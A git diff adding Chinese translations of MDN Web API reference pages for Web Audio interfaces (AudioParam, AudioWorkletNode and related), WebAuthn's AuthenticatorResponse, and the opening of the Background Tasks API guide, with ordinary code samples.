调整 AudioParam 的值,使其逐渐按指数变化。这个改变会从上一个事件指定的事件开始,跟随一个指数“斜坡”到参数给的新值,并在 endTime 参数给定的时间到达新值。
+
{{domxref("AudioParam.setTargetAtTime()")}}
+
将开始计划改变 AudioParam 的值。这个改变将从 startTime 指定的时间开始,并且以指定的方式向目标参数给定的值改变。指数衰减速率由 timeConstant 参数定义,time 参数使以秒作为测量单位的时间。
+
{{domxref("AudioParam.setValueCurveAtTime()")}}
+
调整 AudioParam 的值以跟随一组定义为 {{domxref("Float32Array")}} 的值,数值会缩放到适应给定的间隔,,从 startTime 时间开始并具有特定的持续时间(duration)。 
+
{{domxref("AudioParam.cancelScheduledValues()")}}
+
取消全部在 AudioParam 中的未来计划发生的改变。
+
{{domxref("AudioParam.cancelAndHoldAtTime()")}}
+
取消全部计划将来对 AudioParam 的改变,但是保持给定时间的值,直到将来的使用其他方法产生改变。新的值会被赋予到 value 属性中。
+
+ +

例子

+ +

首先,一个基础的例子展示了 {{domxref("GainNode")}} 拥有的 gain 一些值合。gain 是一个 a-rate AudioParam 的例子,因为该值可以针对音频的每个样本帧进行不同的设置。

+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var gainNode = audioCtx.createGain();
+gainNode.gain.value = 0;
+ +

另外,一个例子展示了 {{ domxref("BiquadFilterNode") }} 拥有的一些值。这是一个 k-rate AudioParam 的例子,因为一次为整个音频块设置的值。

+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var biquadFilter = audioCtx.createBiquadFilter();
+
+biquadFilter.type = "lowshelf";
+biquadFilter.frequency.value = 1000;
+biquadFilter.gain.value = 25;
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-audioparam-interface', 'AudioParam')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(14)}} {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(23)}}{{CompatNo}}15 {{property_prefix("webkit")}}
+ 22 (unprefixed)
6 {{property_prefix("webkit")}}
Unprefixed{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
minValue and maxValue{{CompatChrome(52)}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}39{{CompatNo}}
cancelAndHoldAtTime(){{CompatChrome(57)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatChrome(28)}} {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoMobile(25)}}{{CompatNo}}{{CompatNo}}6 {{property_prefix("webkit")}}
Unprefixed{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
minValue and maxValue{{CompatChrome(52)}}{{CompatChrome(52)}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}39{{CompatNo}}
cancelAndHoldAtTime(){{CompatChrome(57)}}{{CompatChrome(57)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/audioparamdescriptor/index.html b/files/zh-cn/web/api/audioparamdescriptor/index.html new file mode 100644 index 0000000000..4a204f868e --- /dev/null +++ b/files/zh-cn/web/api/audioparamdescriptor/index.html @@ -0,0 +1,50 @@ +--- +title: AudioParamDescriptor +slug: Web/API/AudioParamDescriptor +translation_of: Web/API/AudioParamDescriptor +--- +
{{APIRef("Web Audio API")}}
+ +

The AudioParamDescriptor dictionary of the Web Audio API specifies properties for an {{domxref("AudioParam")}} objects. It is used to create custom AudioParams on an {{domxref("AudioWorkletNode")}}. If the underlying {{domxref("AudioWorkletProcessor")}} has a {{domxref("AudioWorkletProcessor.parameterDescriptors", "parameterDescriptors")}} static getter, then the returned array of objects based on this dictionary is used internally by AudioWorkletNode constructor to populate its {{domxref("AudioWorkletNode.parameters", "parameters")}} property accordingly.

+ +

属性

+ +
+
name
+
The {{domxref("DOMString")}} which represents the name of the AudioParam. Under this name the AudioParam will be available in the {{domxref("AudioWorkletNode.parameters", "parameters")}} property of the node, and under this name the {{domxref("AudioWorkletProcessor.process")}} method will acquire the calculated values of this AudioParam.
+
automationRate {{optional_inline}}
+
Either "a-rate", or "k-rate" string which represents an automation rate of this AudioParam. Defaults to "a-rate".
+
minValue {{optional_inline}}
+
A float which represents minimum value of the AudioParam. Defaults to -3.4028235e38.
+
maxValue {{optional_inline}}
+
A float which represents maximum value of the AudioParam. Defaults to 3.4028235e38.
+
defaultValue {{optional_inline}}
+
A float which represents initial value of the AudioParam. Defaults to 0.
+
+ +

例子

+ +

{{page("/en-US/docs/Web/API/AudioWorkletNode/parameters", "Examples")}}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API','#dictdef-audioparamdescriptor','AudioParamDescriptor')}}{{Spec2('Web Audio API')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.AudioParamDescriptor")}}

diff --git a/files/zh-cn/web/api/audioscheduledsourcenode/index.html b/files/zh-cn/web/api/audioscheduledsourcenode/index.html new file mode 100644 index 0000000000..88af23f58d --- /dev/null +++ b/files/zh-cn/web/api/audioscheduledsourcenode/index.html @@ -0,0 +1,81 @@ +--- +title: AudioScheduledSourceNode +slug: Web/API/AudioScheduledSourceNode +tags: + - API + - Audio + - AudioScheduledSourceNode + - Interface + - Media + - NeedsTranslation + - Reference + - TopicStub + - Web Audio API + - sound +translation_of: Web/API/AudioScheduledSourceNode +--- +
{{APIRef("Web Audio API")}}
+ +

AudioScheduledSourceNode 接口作为web音频API的一部分,是几种具有在特定时刻开始与停止能力的音频源节点接口的父接口。更具体地来说,这个接口定义了{{domxref("AudioScheduledSourceNode.start", "start()")}} 和{{domxref("AudioScheduledSourceNode.stop", "stop()")}} 方法,以及{{domxref("AudioScheduledSourceNode.onended", "onended")}}事件

+ + + +
+

你不能直接创建AudioScheduledSourceNode。而是应该使用继承于它的子接口,如{{domxref("AudioBufferSourceNode")}}, {{domxref("OscillatorNode")}}和{{domxref("ConstantSourceNode")}}.

+
+ +

除非另有说明,基于AudioScheduledSourceNode节点的输出在没有播放时处于静默状态(这种状态在start()之前与stop()之后调用)。静默状态总是由一个全0值流组成。

+ +

Properties

+ +

Inherits properties from its parent interface, {{domxref("AudioNode")}}, and adds the following properties:

+ +

Event handlers

+ +
+
{{domxref("AudioScheduledSourceNode.onended", "onended")}}
+
A function to be called when the {{event("ended")}} event is fired, indicating that the node has finished playing.
+
+ +

Methods

+ +

Inherits methods from its parent interface, {{domxref("AudioNode")}}, and adds the following methods:

+ +
+
{{domxref("AudioScheduledSourceNode.start", "start()")}}
+
Schedules the node to begin playing the constant sound at the specified time. If no time is specified, the node begins playing immediately.
+
{{domxref("AudioScheduledSourceNode.stop", "stop()")}}
+
Schedules the node to stop playing at the specified time. If no time is specified, the node stops playing at once.
+
+ +

Specification

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#idl-def-AudioScheduledSourceNode', 'AudioScheduledSourceNode')}}{{Spec2('Web Audio API')}}
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.AudioScheduledSourceNode")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/audioscheduledsourcenode/stop/index.html b/files/zh-cn/web/api/audioscheduledsourcenode/stop/index.html new file mode 100644 index 0000000000..a550063e13 --- /dev/null +++ b/files/zh-cn/web/api/audioscheduledsourcenode/stop/index.html @@ -0,0 +1,88 @@ +--- +title: AudioScheduledSourceNode.stop() +slug: Web/API/AudioScheduledSourceNode/stop +translation_of: Web/API/AudioScheduledSourceNode/stop +--- +

{{ APIRef("Web Audio API") }}

+ +

 {{domxref("AudioScheduledSourceNode")}} 上的stop()方法将声音安排在指定的时间停止播放。如果没有指定时间,声音将立即停止播放。

+ +

每次在同一个节点上调用 stop() 时,指定的时间将替换任何未发生的计划停止时间。如果节点已经停止,则此方法无效。 

+ +
+

注意: 如果计划的停止时间发生在节点计划的开始时间之前,则节点永远不会开始运行。

+
+ +

语法

+ +
AudioScheduledSourceNode.stop([when]);
+
+ +

参数

+ +
+
when {{optional_inline}}
+
声音停止播放的时间,单位为秒。 这个值在 {{domxref("AudioContext")}} 用于其 {{domxref("AudioContext.currentTime", "currentTime")}} 属性的同一时间坐标系统中指定。 省略这个参数,设置为0或者负值都会立即停止播放。
+
+ +

Return value

+ +

{{jsxref("undefined")}}

+ +

Exceptions

+ +
+
InvalidStateNode
+
节点还没有通过调用{{domxref("AudioScheduledSourceNode.start", "start()")}}方法被播放.
+
RangeError
+
当 when 指定为负值时。
+
+ +

Example

+ +

This example demonstrates starting an oscillator node, scheduled to begin playing at once and to stop playing in one second. The stop time is determined by taking the audio context's current time from {{domxref("AudioContext.currentTime")}} and adding 1 second.

+ +
context = new AudioContext();
+osc = context.createOscillator();
+osc.connect(context.destination);
+
+/* Let's play a sine wave for one second. */
+
+osc.start();
+osc.stop(context.currentTime + 1);
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioScheduledSourceNode-stop-void-double-when', 'stop()')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.AudioScheduledSourceNode.stop")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/audiotrack/index.html b/files/zh-cn/web/api/audiotrack/index.html new file mode 100644 index 0000000000..c767fd7624 --- /dev/null +++ b/files/zh-cn/web/api/audiotrack/index.html @@ -0,0 +1,86 @@ +--- +title: AudioTrack +slug: Web/API/AudioTrack +translation_of: Web/API/AudioTrack +--- +
{{APIRef("HTML DOM")}}
+ +

AudioTrack 接口表示从HTML介质元件中的一个单一的音轨, {{HTMLElement("audio")}} 或 {{HTMLElement("video")}}. 访问AudioTrack 对象的最常见用途是切换其{{domxref("AudioTrack.enabled", "enabled")}} 属性,以使轨道静音和取消静音。

+ +

属性

+ +
+
{{domxref("AudioTrack.enabled", "enabled")}}
+
一个布尔值,用于控制是否启用音轨的声音。设置此值false可使音轨的音频静音。
+
{{domxref("AudioTrack.id", "id")}} {{ReadOnlyInline}}
+
一个{{domxref("DOMString")}}唯一标识媒体中的曲目。此ID可用于通过调用{{domxref("AudioTrackList.getTrackById()")}}来定位音轨列表中的特定轨道。如果媒体支持按媒体片段URI规范按媒体片段搜索,则ID也可以用作URL的片段部分。
+
{{domxref("AudioTrack.kind", "kind")}} {{ReadOnlyInline}}
+
一个{{domxref("DOMString")}}指定轨道所属的类别。例如,主音频轨道将有一个kind"main"
+
{{domxref("AudioTrack.label", "label")}} {{ReadOnlyInline}}
+
A {{domxref("DOMString")}}为轨道提供人类可读的标签。例如,一个音频评论轨道的电影可以有一个label"Commentary with director John Q. Public and actors John Doe and Jane Eod.",如果没有提供标签此字符串是空的。
+
{{domxref("AudioTrack.language", "language")}} {{ReadOnlyInline}}
+
一个{{domxref("DOMString")}}指定音轨的主要语言,如果未知,则为空字符串。该语言被指定为BCP 47({{RFC(5646)}}}语言代码,例如"en-US""pt-BR"
+
{{domxref("AudioTrack.sourceBuffer", "sourceBuffer")}} {{ReadOnlyInline}}
+
创建轨道的{{domxref("SourceBuffer")}}。如果轨道不是由{{domxref("SourceBuffer")}}创建的,或者{{domxref("SourceBuffer")}}已从{{domxref("MediaSource.sourceBuffers")}}属性中删除,则返回null其母媒体来源。
+
+ +

使用说明

+ +

要获取AudioTrack给定媒体元素,请使用元素的{{domxref("HTMLMediaElement.audioTracks","audioTracks")}}属性,该属性返回{{domxref("AudioTrackList")}}对象,您可以从中获取媒体中包含的各个曲目:

+ +
var el = document.querySelector("video");
+var tracks = el.audioTracks;
+
+ +

然后,您可以使用数组语法或{{jsxref("Array.forEach","forEach()")}}等函数访问媒体的各个轨道。

+ +

第一个示例获取媒体上的第一个音轨:

+ +
var firstTrack = tracks [0];
+ +

下一个示例扫描所有媒体的音轨,启用用户首选语言中的任何一种(取自变量userLanguage)并禁用任何其他语音。

+ +
tracks.forEach(function(track){
+  if(track.language === userLanguage){
+    track.enabled = true;
+  } else {
+    track.enabled = false;
+  }
+});
+
+ +

{{domxref("AudioTrack.language","language")}}采用标准({{RFC(5646)}})格式。例如,对于美国英语,这将是"en-US"

+ +

+ +

{{page("/en-US/docs/Web/API/AudioTrack/label", "Example")}}

+ +

产品规格

+ + + + + + + + + + + + + + + + + + + + + +
规格状态评论
{{SpecName('HTML WHATWG', 'media.html#audiotrack', 'AudioTrack')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C', 'embedded-content-0.html#audiotrack', 'AudioTrack')}}{{Spec2('HTML5 W3C')}} 
+ +

浏览器兼容性

+ + + +

{{Compat("api.AudioTrack")}}

diff --git a/files/zh-cn/web/api/audioworkletnode/index.html b/files/zh-cn/web/api/audioworkletnode/index.html new file mode 100644 index 0000000000..19a14ef2f1 --- /dev/null +++ b/files/zh-cn/web/api/audioworkletnode/index.html @@ -0,0 +1,103 @@ +--- +title: AudioWorkletNode +slug: Web/API/AudioWorkletNode +translation_of: Web/API/AudioWorkletNode +--- +

{{APIRef("Web Audio API")}} {{SeeCompatTable}}

+ +
虽然这个接口可以在 secure contexts 之外调用, 但是 {{domxref("BaseAudioContext.audioWorklet")}} 属性不行, 从而 {{domxref("AudioWorkletProcessor")}}s 不能在外部定义.
+ +

Web Audio API 中的  AudioWorkletNode  接口代表了用户定义的{{domxref("AudioNode")}}的基类, 该基类可以与其他节点一起连接到音频路由图. 其具有关联的{{domxref("AudioWorkletProcessor")}}, 它在 Web Audio 执行实际的音频处理.

+ +

构造函数

+ +
+
{{domxref("AudioWorkletNode.AudioWorkletNode", "AudioWorkletNode()")}}
+
为 AudioWorkletNode 创建一个新的实例对象.
+
+ +

属性

+ +

也继承父类的属性, {{domxref("AudioNode")}}.

+ +
+
{{domxref("AudioWorkletNode.port")}} {{readonlyinline}}
+
返回一个 {{domxref("MessagePort")}} 用于节点与其关联的 {{domxref("AudioWorkletProcessor")}} 间的双向通讯. 另一端在处理器属性{{domxref("AudioWorkletProcessor.port", "port")}} 下可用.
+
{{domxref("AudioWorkletNode.parameters")}} {{readonlyinline}}
+
返回一个 {{domxref("AudioParamMap")}} —  {{domxref("AudioParam")}} 对象的集合. 它们在创建 AudioWorkletProcessor的过程中被实例化. 如果 AudioWorkletProcessor 有一个静态的 {{domxref("AudioWorkletProcessor.parameterDescriptors", "parameterDescriptors")}} getter, 从其返回的 {{domxref("AudioParamDescriptor")}} 数组用于在 AudioWorkletNode 创建 AudioParam 对象. 通过这种机制,使得 AudioParam 对象可以从 AudioWorkletNode 中访问. 你可以在与其关联的 AudioWorkletProcessor 中使用它的值.
+
+ +

Event handlers

+ +
+
{{domxref("AudioWorkletNode.onprocessorerror")}}
+
在关联的 {{domxref("AudioWorkletProcessor")}} 对象发生异常时触发. 一旦触发,处理器及其节点将在其整个生命周期内处于输出静默状态.
+
+ +

方法

+ +

同样继承了其父类的方法, {{domxref("AudioNode")}}.

+ +

AudioWorkletNode 接口未定义其自己的任何方法.

+ +

示例

+ +

在本示例中我们创建了 AudioWorkletNode 对象, 它会输出白噪声.

+ +

首先, 我们需要定义一个自定义的 {{domxref("AudioWorkletProcessor")}}, 它将输出白噪声并进行注册. 注意, 这需要在一个单独的文件中完成.

+ +
// white-noise-processor.js
+class WhiteNoiseProcessor extends AudioWorkletProcessor {
+  process (inputs, outputs, parameters) {
+    const output = outputs[0]
+    output.forEach(channel => {
+      for (let i = 0; i < channel.length; i++) {
+        channel[i] = Math.random() * 2 - 1
+      }
+    })
+    return true
+  }
+}
+
+registerProcessor('white-noise-processor', WhiteNoiseProcessor)
+
+ +

接下来, 在脚本主文件中一个 AudioWorkletNode 实例, 并传递处理器的名称, 然后将该实例连接到一个audio graph.

+ +
const audioContext = new AudioContext()
+await audioContext.audioWorklet.addModule('white-noise-processor.js')
+const whiteNoiseNode = new AudioWorkletNode(audioContext, 'white-noise-processor')
+whiteNoiseNode.connect(audioContext.destination)
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#audioworkletnode', 'AudioWorkletNode')}}{{Spec2('Web Audio API')}}
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.AudioWorkletNode")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/audioworkletprocessor/index.html b/files/zh-cn/web/api/audioworkletprocessor/index.html new file mode 100644 index 0000000000..f03d69396c --- /dev/null +++ b/files/zh-cn/web/api/audioworkletprocessor/index.html @@ -0,0 +1,121 @@ +--- +title: AudioWorkletProcessor +slug: Web/API/AudioWorkletProcessor +translation_of: Web/API/AudioWorkletProcessor +--- +

{{APIRef("Web Audio API")}}

+ +

Web Audio APIAudioWorkletProcessor 接口代表了一个 自定义的音频处理代码 {{domxref("AudioWorkletNode")}}. 它身处于 {{domxref("AudioWorkletGlobalScope")}} 并运行在 Web Audio rendering 线程上. 同时, 一个建立在其基础上的 {{domxref("AudioWorkletNode")}} 运行在主线程上.

+ +

构造函数

+ +
AudioWorkletProcessor 及其子类不能通过用户提供的的代码直接实例化。它们只能随着与之相联系{{domxref("AudioWorkletNode")}}s的创建而被其创建再内部。其子类的构造函数将被一个可选对象调用,因此您可以执行自定义的初始化过程——详细信息请参见构造函数页面。
+ +
+
{{domxref("AudioWorkletProcessor.AudioWorkletProcessor", "AudioWorkletProcessor()")}}
+
创建一个 AudioWorkletProcessor 对象的新实例。
+
+ +

属性

+ +
+
{{domxref("AudioWorkletProcessor.port", "port")}} {{readonlyinline}}
+
返回一个用于在处理程序和其所属的{{domxref("AudioWorkletNode")}}间双向通信的 {{domxref("MessagePort")}} 。 另一端 可通过该节点的{{domxref("AudioWorkletNode.port", "port")}} 属性使用.
+
+ +

方法

+ +

AudioWorkletProcessor 接口没有定义任何自己的方法。但是, 您必须提供一个 {{domxref("AudioWorkletProcessor.process", "process()")}} 方法, 用以处理音频流。

+ +

事件

+ +

AudioWorkletProcessor 接口不响应任何事件。

+ +

使用说明

+ +

Deriving classes

+ +

要自定义音频处理代码, 你必须从AudioWorkletProcessor 接口派生一个类. 这个派生类必须具有在该接口中不曾定义的{{domxref("AudioWorkletProcessor.process", "process")}} 方法. 该方法将被每个含有128 样本帧的块调用并且接受输入和输出数组以及自定义的{{domxref("AudioParam")}}s (如果它们刚被定义了) 的计算值作为参数. 您可以使用输入和 音频参数值去填充输出数组, 这是默认的用于使输出静音。

+ +

Optionally, if you want custom {{domxref("AudioParam")}}s on your node, you can supply a {{domxref("AudioWorkletProcessor.parameterDescriptors", "parameterDescriptors")}} property as a static getter on the processor. The array of {{domxref("AudioParamDescriptor")}}-based objects returned is used internally to create the {{domxref("AudioParam")}}s during the instantiation of the AudioWorkletNode.

+ +

The resulting AudioParams reside in the {{domxref("AudioWorkletNode.parameters", "parameters")}} property of the node and can be automated using standard methods such as linearRampToValueAtTime. Their calculated values will be passed into the {{domxref("AudioWorkletProcessor.process", "process()")}} method of the processor for you to shape the node output accordingly.

+ +

处理音频

+ +

一个创建自定义音频处理算法的步骤的实例:

+ +
    +
  1. 创建一个独立的文件;
  2. +
  3. 在这个文件中: +
      +
    1. Extend the AudioWorkletProcessor class (see "Deriving classes" section) and supply your own {{domxref("AudioWorkletProcessor.process", "process()")}} method in it;
    2. +
    3. Register the processor using {{domxref("AudioWorkletGlobalScope.registerProcessor()")}} method;
    4. +
    +
  4. +
  5. Load the file using {{domxref("Worklet.addModule", "addModule()")}} method on your audio context's {{domxref("BaseAudioContext.audioWorklet", "audioWorklet")}} property;
  6. +
  7. Create an {{domxref("AudioWorkletNode")}} based on the processor. The processor will be instantiated internally by the AudioWorkletNode constructor.
  8. +
  9. Connect the node to the other nodes.
  10. +
+ +

例子

+ +

In the example below we create a custom {{domxref("AudioWorkletNode")}} that outputs white noise.

+ +

First, we need to define a custom AudioWorkletProcessor, which will output white noise, and register it. Note that this should be done in a separate file.

+ +
// white-noise-processor.js
+class WhiteNoiseProcessor extends AudioWorkletProcessor {
+  process (inputs, outputs, parameters) {
+    const output = outputs[0]
+    output.forEach(channel => {
+      for (let i = 0; i < channel.length; i++) {
+        channel[i] = Math.random() * 2 - 1
+      }
+    })
+    return true
+  }
+}
+
+registerProcessor('white-noise-processor', WhiteNoiseProcessor)
+
+ +

Next, in our main script file we'll load the processor, create an instance of {{domxref("AudioWorkletNode")}}, passing it the name of the processor, then connect the node to an audio graph.

+ +
const audioContext = new AudioContext()
+await audioContext.audioWorklet.addModule('white-noise-processor.js')
+const whiteNoiseNode = new AudioWorkletNode(audioContext, 'white-noise-processor')
+whiteNoiseNode.connect(audioContext.destination)
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#audioworkletprocessor', 'AudioWorkletProcessor')}}{{Spec2('Web Audio API')}}
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.AudioWorkletProcessor")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/authenticatorresponse/clientdatajson/index.html b/files/zh-cn/web/api/authenticatorresponse/clientdatajson/index.html new file mode 100644 index 0000000000..f884c53486 --- /dev/null +++ b/files/zh-cn/web/api/authenticatorresponse/clientdatajson/index.html @@ -0,0 +1,80 @@ +--- +title: AuthenticatorResponse.clientDataJSON +slug: Web/API/AuthenticatorResponse/clientDataJSON +translation_of: Web/API/AuthenticatorResponse/clientDataJSON +--- +

{{APIRef("Web Authentication API")}}{{securecontext_header}}

+ +

The clientDataJSON property of the {{domxref("AuthenticatorResponse")}} interface stores a JSON string in an {{domxref("ArrayBuffer")}}, representing the client data that was passed to {{domxref("CredentialsContainer.create()")}} or {{domxref("CredentialsContainer.get()")}}. This property is only accessed on one of the child objects of AuthenticatorResponse, specifically {{domxref("AuthenticatorAttestationResponse")}} or {{domxref("AuthenticatorAssertionResponse")}}.

+ +

语法

+ +
var arrayBuffer = AuthenticatorAttestationResponse.clientDataJSON;
+var arrayBuffer = AuthenticatorAssertionResponse.clientDataJSON;
+
+ +

Value

+ +

An {{jsxref("ArrayBuffer")}}.

+ +

属性

+ +

After the clientDataJSON object is converted from an ArrayBuffer to a JavaScript object, it will have the following properties:

+ +
+
type
+
A string which is either "webauthn.get" when an existing credential is retrieved or "webauthn.create" when a new credential is created.
+
challenge
+
The base64url encoded version of the cryptographic challenge sent from the relying party's server. The original value is passed via {{domxref("PublicKeyCredentialRequestOptions.challenge")}} or {{domxref("PublicKeyCredentialCreationOptions.challenge")}}.
+
origin
+
The fully qualified origin of the requester which has been given by the client/browser to the authenticator. We should expect the relying party's id to be a suffix of this value.
+
tokenBindingId {{optional_inline}}
+
+

An object describing the state of the token binding protocol for the communication with the relying party. It has two properties:

+ +
    +
  • status: A string which is either "supported" which indicates the client support token binding but did not negotiate with the relying party or "present" when token binding was used already
  • +
  • id: A {{domxref("DOMString")}} which is the base64url encoding of the token binding ID which was used for the communication.
  • +
+ +

Should this property be absent, it would indicate that the client does not support token binding.

+
+
+ +

示例

+ +
function arrayBufferToStr(buf) {
+    return String.fromCharCode.apply(null, new Uint8Array(buf));
+}
+
+// pk is a PublicKeyCredential that is the result of a create() or get() Promise
+var clientDataStr = arrayBufferToStr(pk.clientDataJSON);
+var clientDataObj = JSON.parse(clientDataStr);
+
+console.log(clientDataObj.type);      // "webauthn.create" or "webauthn.get"
+console.log(clientDataObj.challenge); // base64 encoded String containing the original challenge
+console.log(clientDataObj.origin);    // the window.origin
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebAuthn','#dom-authenticatorresponse-clientdatajson', 'clientDataJSON')}}{{Spec2('WebAuthn')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.AuthenticatorResponse.clientDataJSON")}}

diff --git a/files/zh-cn/web/api/authenticatorresponse/index.html b/files/zh-cn/web/api/authenticatorresponse/index.html new file mode 100644 index 0000000000..d682aa678b --- /dev/null +++ b/files/zh-cn/web/api/authenticatorresponse/index.html @@ -0,0 +1,110 @@ +--- +title: AuthenticatorResponse +slug: Web/API/AuthenticatorResponse +translation_of: Web/API/AuthenticatorResponse +--- +
{{APIRef("Web Authentication API")}}{{securecontext_header}}
+ +

The AuthenticatorResponse interface of the Web Authentication API is the base interface for interfaces that provide a cryptographic root of trust for a key pair. The child interfaces include information from the browser such as the challenge origin and either may be returned from {{domxref("PublicKeyCredential.response")}}.

+ +

Interfaces based on AuthenticatorResponse

+ +

Below is a list of interfaces based on the AuthenticatorResponse interface.

+ +
+ +
+ +

Properties

+ +
+
{{domxref("AuthenticatorResponse.clientDataJSON")}}
+
A JSON string in an {{domxref("ArrayBuffer")}}, representing the client data that was passed to {{domxref("CredentialsContainer.create()")}} or {{domxref("CredentialsContainer.get()")}}.
+
+ +

方法

+ +

+ +

示例

+ +

Getting an AuthenticatorAssertionResponse

+ +
var options = {
+  challenge: new Uint8Array([/* bytes sent from the server */])
+};
+
+navigator.credentials.get({ "publicKey": options })
+    .then(function (credentialInfoAssertion) {
+    var assertionResponse = credentialInfoAssertion.response;
+    // send assertion response back to the server
+    // to proceed with the control of the credential
+}).catch(function (err) {
+     console.error(err);
+});
+
+
+ +

Getting an AuthenticatorAttestationResponse

+ +
var publicKey = {
+  challenge: /* from the server */,
+  rp: {
+    name: "Example CORP",
+    id  : "login.example.com"
+  },
+  user: {
+    id: new Uint8Array(16),
+    name: "jdoe@example.com",
+    displayName: "John Doe"
+  },
+  pubKeyCredParams: [
+    {
+      type: "public-key",
+      alg: -7
+    }
+  ]
+};
+
+navigator.credentials.create({ publicKey })
+  .then(function (newCredentialInfo) {
+    var attestationResponse = newCredentialInfo.response;
+  }).catch(function (err) {
+     console.error(err);
+  });
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebAuthn','#authenticatorresponse', 'AuthenticatorResponse interface')}}{{Spec2('WebAuthn')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.AuthenticatorResponse")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/background_tasks_api/index.html b/files/zh-cn/web/api/background_tasks_api/index.html new file mode 100644 index 0000000000..4407043fc3 --- /dev/null +++ b/files/zh-cn/web/api/background_tasks_api/index.html @@ -0,0 +1,513 @@ +--- +title: Background Tasks API +slug: Web/API/Background_Tasks_API +tags: + - API + - 后台任务API + - 指南 + - 概述 +translation_of: Web/API/Background_Tasks_API +--- +
{{DefaultAPISidebar("Background Tasks")}}{{draft}}
+ +

幕后任务协作调度 API (也叫幕后任务 API 或者简单称为 requestIdleCallback() API) 提供了由用户代理决定,在空闲时间自动执行队列任务的能力。

+ +

概念和用法

+ +

浏览器的主线程以其事件循环队列为中心。此代码渲染 {{domxref("Document")}} 上待更新展示的内容,执行页面待运行的 JavaScript 脚本,接收来自输入设备的事件,以及分发事件给需要接收事件的元素。此外,事件循环队列处理与操作系统的交互、浏览器自身用户界面的更新等等。这是一个非常繁忙的代码块,您的主要 JavaScript 代码可能会和这些代码一起也在这个线程中执行。当然,大多数(不是所有)能够更改 DOM 的代码都在主线程中运行,因为用户界面更改通常只对主线程可用。

+ +

因为事件处理和屏幕更新是用户关注性能最明显的两种方式。对于您的代码来说,防止在事件队列中出现卡顿是很重要的。在过去,除了编写尽可能高效的代码和将尽可能多的工作移交给 workers 之外,没有其他可靠的方法可以做到这一点。 {{domxref("Window.requestIdleCallback()")}} 允许浏览器告诉您的代码可以安全使用多少时间而不会导致系统延迟,从而有助于确保浏览器的事件循环平稳运行。如果您保持在给定的范围内,您可以使用户体验更好。

+ +

充分利用空闲回调

+ +

因为 idle callbacks 旨在为代码提供一种与事件循环协作的方式,以确保系统充分利用其潜能,不会过度分配任务,从而导致延迟或其他性能问题,因此您应该考虑如何使用它。

+ + + +

回退到 setTimeout

+ +

因为后台任务API还是相当新的,而你的代码可能需要在那些不仍不支持此API的浏览器上运行。你可以把 {{domxref("WindowTimers.setTimeout()", "setTimeout()")}} 用作回调选项来做这样的事。这个并不是 {{Glossary("polyfill")}} ,因为它在功能上并不相同; setTimeout() 并不会让你利用空闲时段,而是使你的代码在情况允许时执行你的代码,以使我们可以尽可能地避免造成用户体验性能表现延迟的后果。

+ +
window.requestIdleCallback = window.requestIdleCallback || function(handler) {
+  let startTime = Date.now();
+
+  return setTimeout(function() {
+    handler({
+      didTimeout: false,
+      timeRemaining: function() {
+        return Math.max(0, 50.0 - (Date.now() - startTime));
+      }
+    });
+  }, 1);
+}
+ +

如果 {{domxref("Window.requestIdleCallback", "window.requestIdleCallback")}} 是undefined, 我们在这里把它创建出来。这个函数首先会记录我们调用具体实现的时间。我们将用它计算填充程序{{domxref("IdleDeadline.timeRemaining()", "timeRemaining()")}}返回的值 。

+ +

